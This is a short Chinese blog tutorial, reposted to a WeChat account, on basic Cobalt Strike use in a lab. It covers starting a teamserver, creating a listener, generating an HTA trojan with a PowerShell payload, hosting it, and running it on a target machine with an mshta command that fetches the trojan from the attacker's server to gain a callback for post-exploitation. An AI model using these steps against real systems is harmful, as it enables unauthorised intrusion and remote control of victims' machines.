Cobalt Strike简单使用教程

1、在服务端安装好CS，来到解压后的目录终端下，输入命令运行团队服务器：

./teamserver <服务端IP> <自设密码>

2、可以看到默认连接端口为65535，打开客户端（客户端可多个任选），此处客户端为linux系统，则输入命令./cobaltstrike运行CS，如果是windows系统，双击cobaltstrike.bat即可。

　　如果遇到以下问题则输入命令chmod a+x 给文件增加执行权限：

3、输入开启团队服务器设置的IP和密码，端口也为服务器连接端口，用户名随意填写，连接成功后进行hash校验点击yes即可连接到团队服务器上。

　　里面的一些参数和工具栏用法可以借鉴文章里的内容自己尝试，这里只演示与靶机进行交互的步骤。

4、打开后创建监听器，点击Cobalt Strike -> Listeners，打开后点击Add添加监听器，名字随意，选择所需的payload，输入服务器IP，端口选一个未被使用的任意端口输入保存。

5、接着生成木马，点击Attacks->Packages->HTML Application，选择刚刚创建的监听器，方法此处选择PowerShell,点击Generate生成，选择保存的路径后save即生成成功。

6、然后开启web服务，点击Attacks->Web Drive-by->Host File，选择刚刚生成的木马文件，其他默认即可，点击Launch，生成木马下载链接http://<服务器IP>:80/download/file.ext。

7、打开靶机，进入控制台，使用mshta运行木马文件：

mshta http://<服务器IP>:80/download/file.ext

8、运行成功后返回客户端，在CS上即可看到靶机上线

9、选中靶机右击，点击Interact即可进行交互。

10、由于靶机默认60秒进行一次回传，为了方便看到效果这里把时间设置成5s，输入命令sleep 5，得等到时间到了60s才可以看到设置成功的反馈。

11、然后就可以进行之后的后渗透操作啦！

作者：yoyodan

出处：https://www.cnblogs.com/Iamyoyodan/

本文版权归作者和博客园共有，欢迎转载，但必须给出原文链接，并保留此段声明，否则保留追究法律责任的权利。

一如既往的学习，一如既往的整理，一如即往的分享。感谢支持

“如侵权请私聊公众号删文”

扫描关注LemonSec

觉得不错点个“赞”、“在看”哦

本文始发于微信公众号（LemonSec）：Cobalt Strike简单使用教程